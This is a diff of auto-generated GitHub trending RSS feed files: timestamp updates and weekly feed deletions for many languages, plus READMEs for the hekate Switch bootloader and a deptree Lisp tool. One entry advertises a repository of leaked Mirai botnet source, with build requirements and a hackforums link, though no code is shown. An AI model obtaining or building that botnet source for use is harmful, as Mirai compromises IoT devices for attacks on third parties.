<td>1: Sets Launch entry columns from 4 to 5 per line. For a total of 10 entries.</td> </tr> <tr> <td>timeoff=100</td> <td>Sets time offset in HEX. Must be in HOS epoch format</td> </tr> <tr> <td>homescreen=0</td> <td>Sets home screen. 0: Home menu, 1: All configs (merges Launch and More configs), 2: Launch, 3: More Configs.</td> </tr> <tr> <td>verification=1</td> <td>0: Disable Backup/Restore verification, 1: Sparse (block based, fast and mostly reliable), 2: Full (sha256 based, slow and 100% reliable).</td> </tr> <tr> <td>------------------</td> <td>------- The following options can only be edited in nyx.ini -------</td> </tr> <tr> <td>umsemmcrw=0</td> <td>1: eMMC/emuMMC UMS will be mounted as writable by default.</td> </tr> <tr> <td>jcdisable=0</td> <td>1: Disables Joycon driver completely.</td> </tr> <tr> <td>jcforceright=0</td> <td>1: Forces right joycon to be used as main mouse control.</td> </tr> <tr> <td>bpmpclock=1</td> <td>0: Auto, 1: Fastest, 2: Faster, 3: Fast. Use 2 or 3 if Nyx hangs or some functions like UMS/Backup Verification fail.</td> </tr> </tbody> </table> <pre><code>hekate (c) 2018, naehrwert, st4rk. (c) 2018-2023, CTCaer. Nyx GUI (c) 2019-2023, CTCaer. Thanks to: derrek, nedwill, plutoo, shuffle2, smea, thexyz, yellows8. Greetings to: fincs, hexkyz, SciresM, Shiny Quagsire, WinterMute. Open source and free packages used: - FatFs R0.13a, Copyright (c) 2017, ChaN - bcl-1.2.0, Copyright (c) 2003-2006, Marcus Geelnard - Atmosphère (Exosphere types/panic, prc id kernel patches), Copyright (c) 2018-2019, Atmosphère-NX - elfload, Copyright (c) 2014 Owen Shepherd, Copyright (c) 2018 M4xw - Littlev Graphics Library, Copyright (c) 2016 Gabor Kiss-Vamosi ___ .-' `'. / \ | ; | | ___.--, _.._ |0) = (0) | _.---'`__.-( (_. __.--'`_.. '.__.\ '--. \_.-' ,.--'` `""` ( ,.--'` ',__ /./; ;, '.__.'` __ _`) ) .---.__.' / | |\ \__..--"" """--.,_ `---' .'.''-._.-'`_./ /\ '. \ _.--''````'''--._`-.__.' | | .' _.-' | | \ \ '. `----` \ \/ .' \ \ '. '-._) \/ / \ \ `=.__`'-. / /\ `) ) / / `"".`\ , _.-'.'\ \ / / ( ( / / `--'` ) ) .-'.' '.'. | ( (/` ( (` ) ) '-; [switchbrew] </code></pre> - - - jgamblin/Mirai-Source-Code - 2023-10-29T01:48:14Z - tag:github.com,2023-10-29:/jgamblin/Mirai-Source-Code - - <p>Leaked Mirai Source Code for Research/IoC Development Purposes</p><hr><h1>Mirai BotNet</h1> <p>Leaked Linux.Mirai Source Code for Research/IoT Development Purposes</p> <p>Uploaded for research purposes and so we can develop IoT and such.</p> <p>See "ForumPost.txt" or <a href="https://raw.githubusercontent.com/jgamblin/Mirai-Source-Code/master/ForumPost.md">ForumPost.md</a> for the post in which it leaks, if you want to know how it is all set up and the likes.</p> <h2>Requirements</h2> <ul> <li>gcc</li> <li>golang</li> <li>electric-fence</li> <li>mysql-server</li> <li>mysql-client</li> </ul> <h2>Credits</h2> <p><a href="https://hackforums.net/showthread.php?tid=5420472">Anna-senpai</a></p> <h2>Disclaimer</h2> <p>This repository is for academic purposes, the use of this software is your responsibility.</p> <h2>Warning</h2> <p>The <a href="https://www.virustotal.com/en/file/f10667215040e87dae62dd48a5405b3b1b0fe7dbbfbf790d5300f3cd54893333/analysis/1477822491/">zip file</a> for this repo is being identified by some AV programs as malware. Please take caution.</p> - - \ No newline at end of file diff --git a/c2hs-haskell/daily/index.xml b/c2hs-haskell/daily/index.xml index 237c093284c..78042b719b2 100644 --- a/c2hs-haskell/daily/index.xml +++ b/c2hs-haskell/daily/index.xml @@ -1,7 +1,7 @@ GitHub C2hs Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:28Z + 2023-10-30T01:25:22Z Daily Trending of C2hs Haskell in GitHub \ No newline at end of file diff --git a/c2hs-haskell/weekly/index.xml b/c2hs-haskell/weekly/index.xml deleted file mode 100644 index a41ed8b78da..00000000000 --- a/c2hs-haskell/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub C2hs Haskell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:24Z - Weekly Trending of C2hs Haskell in GitHub - - \ No newline at end of file diff --git a/cabal-config/daily/index.xml b/cabal-config/daily/index.xml index 670424a2b19..057f5678844 100644 --- a/cabal-config/daily/index.xml +++ b/cabal-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cabal Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:27Z + 2023-10-30T01:25:23Z Daily Trending of Cabal Config in GitHub \ No newline at end of file diff --git a/cabal-config/weekly/index.xml b/cabal-config/weekly/index.xml deleted file mode 100644 index d0aa0b8088f..00000000000 --- a/cabal-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cabal Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:26Z - Weekly Trending of Cabal Config in GitHub - - \ No newline at end of file diff --git a/cadence/daily/index.xml b/cadence/daily/index.xml index 6771e664e0d..53ed5979b22 100644 --- a/cadence/daily/index.xml +++ b/cadence/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cadence Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:43Z + 2023-10-30T01:25:34Z Daily Trending of Cadence in GitHub \ No newline at end of file diff --git a/cadence/weekly/index.xml b/cadence/weekly/index.xml deleted file mode 100644 index 8342e6a9f02..00000000000 --- a/cadence/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cadence Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:38Z - Weekly Trending of Cadence in GitHub - - \ No newline at end of file diff --git a/cairo/daily/index.xml b/cairo/daily/index.xml index 67476c50fb1..da4b7d6ae52 100644 --- a/cairo/daily/index.xml +++ b/cairo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cairo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:45Z + 2023-10-30T01:25:36Z Daily Trending of Cairo in GitHub \ No newline at end of file diff --git a/cairo/weekly/index.xml b/cairo/weekly/index.xml deleted file mode 100644 index 8a46cb73b10..00000000000 --- a/cairo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cairo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:36Z - Weekly Trending of Cairo in GitHub - - \ No newline at end of file diff --git a/cap'n-proto/daily/index.xml b/cap'n-proto/daily/index.xml index da41a842b9b..10dd60ac3aa 100644 --- a/cap'n-proto/daily/index.xml +++ b/cap'n-proto/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cap'n Proto Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:46Z + 2023-10-30T01:25:38Z Daily Trending of Cap'n Proto in GitHub \ No newline at end of file diff --git a/cap'n-proto/weekly/index.xml b/cap'n-proto/weekly/index.xml deleted file mode 100644 index 199ee1d1fac..00000000000 --- a/cap'n-proto/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cap'n Proto Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:39Z - Weekly Trending of Cap'n Proto in GitHub - - \ No newline at end of file diff --git a/cartocss/daily/index.xml b/cartocss/daily/index.xml index 64d8eca0138..ff47a62fde3 100644 --- a/cartocss/daily/index.xml +++ b/cartocss/daily/index.xml @@ -1,7 +1,7 @@ GitHub CartoCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:48Z + 2023-10-30T01:25:39Z Daily Trending of CartoCSS in GitHub \ No newline at end of file diff --git a/cartocss/weekly/index.xml b/cartocss/weekly/index.xml deleted file mode 100644 index 60da28d4b3f..00000000000 --- a/cartocss/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CartoCSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:40Z - Weekly Trending of CartoCSS in GitHub - - \ No newline at end of file diff --git a/ceylon/daily/index.xml b/ceylon/daily/index.xml index 1546c982836..c049d97df71 100644 --- a/ceylon/daily/index.xml +++ b/ceylon/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ceylon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:47Z + 2023-10-30T01:25:41Z Daily Trending of Ceylon in GitHub \ No newline at end of file diff --git a/ceylon/weekly/index.xml b/ceylon/weekly/index.xml deleted file mode 100644 index 6c21ecfe03b..00000000000 --- a/ceylon/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ceylon Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:41Z - Weekly Trending of Ceylon in GitHub - - \ No newline at end of file diff --git a/chapel/daily/index.xml b/chapel/daily/index.xml index c228b0c74bb..a3d50eb6b6c 100644 --- a/chapel/daily/index.xml +++ b/chapel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Chapel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:49Z + 2023-10-30T01:25:40Z Daily Trending of Chapel in GitHub \ No newline at end of file diff --git a/chapel/weekly/index.xml b/chapel/weekly/index.xml deleted file mode 100644 index 62be5e18825..00000000000 --- a/chapel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Chapel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:42Z - Weekly Trending of Chapel in GitHub - - \ No newline at end of file diff --git a/charity/daily/index.xml b/charity/daily/index.xml index 89609c71fc5..f8643de6940 100644 --- a/charity/daily/index.xml +++ b/charity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Charity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:52Z + 2023-10-30T01:25:42Z Daily Trending of Charity in GitHub \ No newline at end of file diff --git a/charity/weekly/index.xml b/charity/weekly/index.xml deleted file mode 100644 index 10f95f592ef..00000000000 --- a/charity/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Charity Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:46Z - Weekly Trending of Charity in GitHub - - \ No newline at end of file diff --git a/chuck/daily/index.xml b/chuck/daily/index.xml index 5ad45d4da1f..0861b727c8e 100644 --- a/chuck/daily/index.xml +++ b/chuck/daily/index.xml @@ -1,7 +1,7 @@ GitHub ChucK Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:53Z + 2023-10-30T01:25:43Z Daily Trending of ChucK in GitHub \ No newline at end of file diff --git a/chuck/weekly/index.xml b/chuck/weekly/index.xml deleted file mode 100644 index 4e8f5d81c53..00000000000 --- a/chuck/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ChucK Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:45Z - Weekly Trending of ChucK in GitHub - - \ No newline at end of file diff --git a/cil/daily/index.xml b/cil/daily/index.xml index de632304eb6..1d78b790ffb 100644 --- a/cil/daily/index.xml +++ b/cil/daily/index.xml @@ -1,7 +1,7 @@ GitHub CIL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:52Z + 2023-10-30T01:25:43Z Daily Trending of CIL in GitHub \ No newline at end of file diff --git a/cil/weekly/index.xml b/cil/weekly/index.xml deleted file mode 100644 index 505f5e4fb54..00000000000 --- a/cil/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CIL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:43Z - Weekly Trending of CIL in GitHub - - \ No newline at end of file diff --git a/cirru/daily/index.xml b/cirru/daily/index.xml index 41db8d10f4c..dbd0ef66176 100644 --- a/cirru/daily/index.xml +++ b/cirru/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cirru Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:58Z + 2023-10-30T01:25:48Z Daily Trending of Cirru in GitHub \ No newline at end of file diff --git a/cirru/weekly/index.xml b/cirru/weekly/index.xml deleted file mode 100644 index d486c95205c..00000000000 --- a/cirru/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cirru Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:49Z - Weekly Trending of Cirru in GitHub - - \ No newline at end of file diff --git a/clarion/daily/index.xml b/clarion/daily/index.xml index 53bd5bd61ec..e7ffbbc3c6a 100644 --- a/clarion/daily/index.xml +++ b/clarion/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clarion Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:55Z + 2023-10-30T01:25:47Z Daily Trending of Clarion in GitHub \ No newline at end of file diff --git a/clarion/weekly/index.xml b/clarion/weekly/index.xml deleted file mode 100644 index bbf523cd677..00000000000 --- a/clarion/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Clarion Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:50Z - Weekly Trending of Clarion in GitHub - - \ No newline at end of file diff --git a/clarity/daily/index.xml b/clarity/daily/index.xml index f845ee25c05..bf3dbb70a7e 100644 --- a/clarity/daily/index.xml +++ b/clarity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clarity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:57Z + 2023-10-30T01:25:45Z Daily Trending of Clarity in GitHub \ No newline at end of file diff --git a/clarity/weekly/index.xml b/clarity/weekly/index.xml deleted file mode 100644 index e932340baec..00000000000 --- a/clarity/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Clarity Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:47Z - Weekly Trending of Clarity in GitHub - - \ No newline at end of file diff --git a/classic-asp/daily/index.xml b/classic-asp/daily/index.xml index d3fabf27d09..1e734727865 100644 --- a/classic-asp/daily/index.xml +++ b/classic-asp/daily/index.xml @@ -1,7 +1,14 @@ GitHub Classic ASP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:59Z + 2023-10-30T01:25:50Z Daily Trending of Classic ASP in GitHub + + cbrooker/FAQMan + 2023-10-30T01:25:50Z + tag:github.com,2023-10-30:/cbrooker/FAQMan + + <p></p><hr> + \ No newline at end of file diff --git a/classic-asp/weekly/index.xml b/classic-asp/weekly/index.xml deleted file mode 100644 index dfa0900b1e9..00000000000 --- a/classic-asp/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Classic ASP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:53Z - Weekly Trending of Classic ASP in GitHub - - - rohitsawant/Testing - 2023-10-29T01:48:53Z - tag:github.com,2023-10-29:/rohitsawant/Testing - - <p></p><hr> - - \ No newline at end of file diff --git a/clean/daily/index.xml b/clean/daily/index.xml index 3e07bc0f7dd..d35e486b814 100644 --- a/clean/daily/index.xml +++ b/clean/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clean Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:00Z + 2023-10-30T01:25:50Z Daily Trending of Clean in GitHub \ No newline at end of file diff --git a/clean/weekly/index.xml b/clean/weekly/index.xml deleted file mode 100644 index 9e561686437..00000000000 --- a/clean/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Clean Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:51Z - Weekly Trending of Clean in GitHub - - \ No newline at end of file diff --git a/click/daily/index.xml b/click/daily/index.xml index f2499c7a95a..abbef79604f 100644 --- a/click/daily/index.xml +++ b/click/daily/index.xml @@ -1,7 +1,7 @@ GitHub Click Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:01Z + 2023-10-30T01:25:51Z Daily Trending of Click in GitHub \ No newline at end of file diff --git a/click/weekly/index.xml b/click/weekly/index.xml deleted file mode 100644 index 3ce8baeb4d7..00000000000 --- a/click/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Click Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:52Z - Weekly Trending of Click in GitHub - - \ No newline at end of file diff --git a/clips/daily/index.xml b/clips/daily/index.xml index d910194416d..4c9997e9b6c 100644 --- a/clips/daily/index.xml +++ b/clips/daily/index.xml @@ -1,7 +1,7 @@ GitHub CLIPS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:02Z + 2023-10-30T01:25:49Z Daily Trending of CLIPS in GitHub \ No newline at end of file diff --git a/clips/weekly/index.xml b/clips/weekly/index.xml deleted file mode 100644 index 590fd069aa8..00000000000 --- a/clips/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CLIPS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:54Z - Weekly Trending of CLIPS in GitHub - - \ No newline at end of file diff --git a/clojure/daily/index.xml b/clojure/daily/index.xml index c67f1ca977f..af8e3bc8e1e 100644 --- a/clojure/daily/index.xml +++ b/clojure/daily/index.xml @@ -1,21 +1,7 @@ GitHub Clojure Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:07Z + 2023-10-30T01:25:55Z Daily Trending of Clojure in GitHub - - flow-storm/flow-storm-debugger - 2023-10-29T01:29:07Z - tag:github.com,2023-10-29:/flow-storm/flow-storm-debugger - - <p>A debugger for Clojure and ClojureScript with some unique features.</p><hr> - - - jshou/primes - 2023-10-29T01:29:07Z - tag:github.com,2023-10-29:/jshou/primes - - <p>clojure tool for finding the first n prime numbers</p><hr> - \ No newline at end of file diff --git a/clojure/weekly/index.xml b/clojure/weekly/index.xml deleted file mode 100644 index ce9c5fc865f..00000000000 --- a/clojure/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Clojure Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:59Z - Weekly Trending of Clojure in GitHub - - - arrdem/decomp - 2023-10-29T01:48:59Z - tag:github.com,2023-10-29:/arrdem/decomp - - <p>An HTML to Clojure translator</p><hr> - - - bblanton/clover - 2023-10-29T01:48:59Z - tag:github.com,2023-10-29:/bblanton/clover - - <p>POC for a Clojure ETL tool</p><hr> - - - hiredman/ideapad-storage - 2023-10-29T01:48:59Z - tag:github.com,2023-10-29:/hiredman/ideapad-storage - - <p>storage service for ideapad</p><hr> - - \ No newline at end of file diff --git a/closure-templates/daily/index.xml b/closure-templates/daily/index.xml index 97a46d40751..b23e6c45bde 100644 --- a/closure-templates/daily/index.xml +++ b/closure-templates/daily/index.xml @@ -1,7 +1,7 @@ GitHub Closure Templates Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:04Z + 2023-10-30T01:25:53Z Daily Trending of Closure Templates in GitHub \ No newline at end of file diff --git a/closure-templates/weekly/index.xml b/closure-templates/weekly/index.xml deleted file mode 100644 index 17d66e85c76..00000000000 --- a/closure-templates/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Closure Templates Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:56Z - Weekly Trending of Closure Templates in GitHub - - \ No newline at end of file diff --git a/cloud-firestore-security-rules/daily/index.xml b/cloud-firestore-security-rules/daily/index.xml index 7799120b1cb..307a01b2c3b 100644 --- a/cloud-firestore-security-rules/daily/index.xml +++ b/cloud-firestore-security-rules/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cloud Firestore Security Rules Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:03Z + 2023-10-30T01:25:52Z Daily Trending of Cloud Firestore Security Rules in GitHub \ No newline at end of file diff --git a/cloud-firestore-security-rules/weekly/index.xml b/cloud-firestore-security-rules/weekly/index.xml deleted file mode 100644 index c8cfad105b4..00000000000 --- a/cloud-firestore-security-rules/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cloud Firestore Security Rules Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:55Z - Weekly Trending of Cloud Firestore Security Rules in GitHub - - \ No newline at end of file diff --git a/cmake/daily/index.xml b/cmake/daily/index.xml index 93b6f34620a..bb6f0e8c12e 100644 --- a/cmake/daily/index.xml +++ b/cmake/daily/index.xml @@ -1,7 +1,7 @@ GitHub CMake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:10Z + 2023-10-30T01:25:57Z Daily Trending of CMake in GitHub \ No newline at end of file diff --git a/cmake/weekly/index.xml b/cmake/weekly/index.xml deleted file mode 100644 index de265d21e90..00000000000 --- a/cmake/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub CMake Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:02Z - Weekly Trending of CMake in GitHub - - - LizardByte/build-deps - 2023-10-29T01:49:02Z - tag:github.com,2023-10-29:/LizardByte/build-deps - - <p>Prebuilt dependencies for LizardByte projects.</p><hr> - - - udacity/CppND-Capstone-Hello-World - 2023-10-29T01:49:02Z - tag:github.com,2023-10-29:/udacity/CppND-Capstone-Hello-World - - <p>A "Hello World!" application using C++ with CMake</p><hr> - - \ No newline at end of file diff --git a/cobol/daily/index.xml b/cobol/daily/index.xml index e9a83631078..fa23ca9bf4d 100644 --- a/cobol/daily/index.xml +++ b/cobol/daily/index.xml @@ -1,7 +1,7 @@ GitHub COBOL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:12Z + 2023-10-30T01:25:59Z Daily Trending of COBOL in GitHub \ No newline at end of file diff --git a/cobol/weekly/index.xml b/cobol/weekly/index.xml deleted file mode 100644 index 5915d7f4ae0..00000000000 --- a/cobol/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub COBOL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:04Z - Weekly Trending of COBOL in GitHub - - \ No newline at end of file diff --git a/codeowners/daily/index.xml b/codeowners/daily/index.xml index abc4f61fa11..95628a17525 100644 --- a/codeowners/daily/index.xml +++ b/codeowners/daily/index.xml @@ -1,7 +1,7 @@ GitHub CODEOWNERS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:15Z + 2023-10-30T01:25:58Z Daily Trending of CODEOWNERS in GitHub \ No newline at end of file diff --git a/codeowners/weekly/index.xml b/codeowners/weekly/index.xml deleted file mode 100644 index 2e0cfa86ca9..00000000000 --- a/codeowners/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CODEOWNERS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:04Z - Weekly Trending of CODEOWNERS in GitHub - - \ No newline at end of file diff --git a/codeql/daily/index.xml b/codeql/daily/index.xml index efaec837132..78455de79e9 100644 --- a/codeql/daily/index.xml +++ b/codeql/daily/index.xml @@ -1,7 +1,7 @@ GitHub CodeQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:12Z + 2023-10-30T01:26:00Z Daily Trending of CodeQL in GitHub \ No newline at end of file diff --git a/codeql/weekly/index.xml b/codeql/weekly/index.xml deleted file mode 100644 index c95e41a9d58..00000000000 --- a/codeql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CodeQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:08Z - Weekly Trending of CodeQL in GitHub - - \ No newline at end of file diff --git a/coffeescript/daily/index.xml b/coffeescript/daily/index.xml index 18faeb11788..854379c0e0d 100644 --- a/coffeescript/daily/index.xml +++ b/coffeescript/daily/index.xml @@ -1,14 +1,14 @@ GitHub CoffeeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:14Z + 2023-10-30T01:26:01Z Daily Trending of CoffeeScript in GitHub - caselas/node-cc - 2023-10-29T01:29:14Z - tag:github.com,2023-10-29:/caselas/node-cc - - <p></p><hr> + testdouble/grunt-markdown-blog + 2023-10-30T01:26:01Z + tag:github.com,2023-10-30:/testdouble/grunt-markdown-blog + + <p>Grunt task for building a blog with markdown posts & underscore templates</p><hr> \ No newline at end of file diff --git a/coffeescript/weekly/index.xml b/coffeescript/weekly/index.xml deleted file mode 100644 index 6369ec9dd0a..00000000000 --- a/coffeescript/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub CoffeeScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:06Z - Weekly Trending of CoffeeScript in GitHub - - - gyulalaszlo/mustard2 - 2023-10-29T01:49:06Z - tag:github.com,2023-10-29:/gyulalaszlo/mustard2 - - <p>Structured, data-driven templating for JavaScript</p><hr> - - - blzkz/html5engine - 2023-10-29T01:49:06Z - tag:github.com,2023-10-29:/blzkz/html5engine - - <p>html5 engine</p><hr> - - \ No newline at end of file diff --git a/coldfusion-cfc/daily/index.xml b/coldfusion-cfc/daily/index.xml index f57c73b2c5f..6409526d310 100644 --- a/coldfusion-cfc/daily/index.xml +++ b/coldfusion-cfc/daily/index.xml @@ -1,7 +1,7 @@ GitHub ColdFusion CFC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:17Z + 2023-10-30T01:26:02Z Daily Trending of ColdFusion CFC in GitHub \ No newline at end of file diff --git a/coldfusion-cfc/weekly/index.xml b/coldfusion-cfc/weekly/index.xml deleted file mode 100644 index 537e77a4bb8..00000000000 --- a/coldfusion-cfc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ColdFusion CFC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:10Z - Weekly Trending of ColdFusion CFC in GitHub - - \ No newline at end of file diff --git a/coldfusion/daily/index.xml b/coldfusion/daily/index.xml index 105ed893c15..d714af7d4f8 100644 --- a/coldfusion/daily/index.xml +++ b/coldfusion/daily/index.xml @@ -1,7 +1,7 @@ GitHub ColdFusion Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:16Z + 2023-10-30T01:26:04Z Daily Trending of ColdFusion in GitHub \ No newline at end of file diff --git a/coldfusion/weekly/index.xml b/coldfusion/weekly/index.xml deleted file mode 100644 index 8a457e82dc1..00000000000 --- a/coldfusion/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub ColdFusion Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:12Z - Weekly Trending of ColdFusion in GitHub - - - appwise/Blomquist - 2023-10-29T01:49:12Z - tag:github.com,2023-10-29:/appwise/Blomquist - - <p></p><hr> - - \ No newline at end of file diff --git a/collada/daily/index.xml b/collada/daily/index.xml index 4e6a77aa66e..d4bc15f407a 100644 --- a/collada/daily/index.xml +++ b/collada/daily/index.xml @@ -1,7 +1,7 @@ GitHub COLLADA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:17Z + 2023-10-30T01:26:03Z Daily Trending of COLLADA in GitHub \ No newline at end of file diff --git a/collada/weekly/index.xml b/collada/weekly/index.xml deleted file mode 100644 index b986c83579f..00000000000 --- a/collada/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub COLLADA Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:11Z - Weekly Trending of COLLADA in GitHub - - \ No newline at end of file diff --git a/common-lisp/daily/index.xml b/common-lisp/daily/index.xml index 3fcb03f7d15..52779c588c6 100644 --- a/common-lisp/daily/index.xml +++ b/common-lisp/daily/index.xml @@ -1,14 +1,7 @@ GitHub Common Lisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:18Z + 2023-10-30T01:26:05Z Daily Trending of Common Lisp in GitHub - - varjagg/deptree - 2023-10-29T01:29:18Z - tag:github.com,2023-10-29:/varjagg/deptree - - <p>System dependency listing and archiving tool for Common Lisp</p><hr><p>#+startup: showall #+TITLE: Deptree: ASDF system dependency listing and archiving #+PROPERTY: header-args :results output #+OPTIONS: toc:nil #+INFOJS_OPT: view:showall toc:nil #+LATEX_CLASS: article #+LATEX_CLASS_OPTIONS: [a4paper, 11pt] #+LaTeX_HEADER: \usepackage{minted} #+LaTeX_HEADER: \usemintedstyle{common-lisp, fontsize=\scriptsize} #+LaTeX_HEADER: \usepackage[left=0.6in, right=0.6in]{geometry} #+LATEX_HEADER: \usepackage{fancyhdr} #+LATEX_HEADER: \pagestyle{fancyplain} #+LATEX_HEADER: \lhead{} #+LATEX_HEADER: \rhead{} #+LATEX_HEADER: \lfoot{} #+LATEX_HEADER: \rfoot{} #+HTML_HEAD: <link rel="stylesheet" href="https://sandyuraz.com/styles/org.min.css"></p> <ul> <li>Enumerating system's dependencies</li> </ul> <p>(deptree /system-name/)</p> <p>Example: <del>(deptree "hunchentoot")</del></p> <p>The resulting list of system names is deduplicated and pruned of dependencies within same system directories.</p> <ul> <li>Listing dependencies' pathnames</li> </ul> <p>(systems-paths /dependencies/)</p> <p>Example: <del>(systems-paths (deptree "hunchentoot"))</del></p> <ul> <li>Archiving system's dependencies</li> </ul> <p>(systems-archive /dependencies/ /tarball-pathname/ &amp;key 